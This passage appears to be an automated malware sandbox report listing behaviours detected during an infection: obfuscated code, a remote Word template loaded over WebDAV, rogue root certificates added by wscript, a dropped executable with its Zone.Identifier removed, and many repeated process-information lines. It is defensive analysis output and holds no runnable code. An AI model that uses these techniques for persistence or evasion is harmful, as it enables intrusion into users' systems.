Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_000E9247 RtlDeleteCriticalSection,RtlDeleteCriticalSection,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect, 18_2_000E9247
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 8_2_002F5893 push ebx; iretd 8_2_002F5894
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 8_2_002FF7C1 push edi; iretd 8_2_002FF7C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040134A pushfd ; retf 13_2_00401353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004012F2 pushfd ; retf 13_2_004012F3
Source: C:\Windows\explorer.exe Code function: 19_2_0006A055 push es; iretd 19_2_0006A05D
Source: C:\Windows\explorer.exe Code function: 19_2_00061405 push esi; ret 19_2_00061407
Source: C:\Windows\explorer.exe Code function: 19_2_000647A7 push esp; iretd 19_2_000647A8
Source: C:\Windows\explorer.exe Code function: 19_2_000614D4 push esi; ret 19_2_000614D6
Source: C:\Windows\SysWOW64\explorer.exe Code function: 21_2_000838A7 push esp; iretd 21_2_000838A8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 21_2_0008967E push ds; retf 21_2_00089680
Source: C:\Windows\SysWOW64\explorer.exe Code function: 21_2_000894E6 push edx; ret 21_2_000894E7
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000887CE push es; ret 22_2_00088A18
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_00088EEF push edi; ret 22_2_00088EF0
Source: C:\Windows\explorer.exe Code function: 23_2_000E1405 push esi; ret 23_2_000E1407
Source: C:\Windows\explorer.exe Code function: 23_2_000E14D4 push esi; ret 23_2_000E14D6
Source: C:\Windows\SysWOW64\explorer.exe Code function: 24_2_00083417 push esp; iretd 24_2_00083418
Source: C:\Windows\explorer.exe Code function: 25_2_000E1405 push esi; ret 25_2_000E1407
Source: C:\Windows\explorer.exe Code function: 25_2_000E45A7 push esp; iretd 25_2_000E45A8
Source: C:\Windows\explorer.exe Code function: 25_2_000E14D4 push esi; ret 25_2_000E14D6
Source: C:\Windows\SysWOW64\explorer.exe Code function: 28_2_000C3627 push esp; iretd 28_2_000C3628
Source: C:\Windows\explorer.exe Code function: 29_2_0006AC8D push esp; iretd 29_2_0006AC95
Source: C:\Windows\explorer.exe Code function: 29_2_0006AAD2 push ebp; iretd 29_2_0006AAD3
Source: C:\Windows\explorer.exe Code function: 29_2_00061405 push esi; ret 29_2_00061407
Source: C:\Windows\explorer.exe Code function: 29_2_000614D4 push esi; ret 29_2_000614D6

Persistence and Installation Behavior
barindex
Microsoft Office launches external ms-search protocol handler (WebDAV)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\z2.ink\DavWWWRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\z2.ink\DavWWWRoot Jump to behavior
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\wscript.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Office viewer loads remote template
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Section loaded: netapi32.dll and davhlpr.dll loaded Jump to behavior
Drops PE files
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\rugtucw Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\rugtucw Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\rugtucw:Zone.Identifier read attributes | delete Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_00083862 GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, 22_2_00083862
Stores large binary data to the registry
Source: C:\Windows\SysWOW64\wscript.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
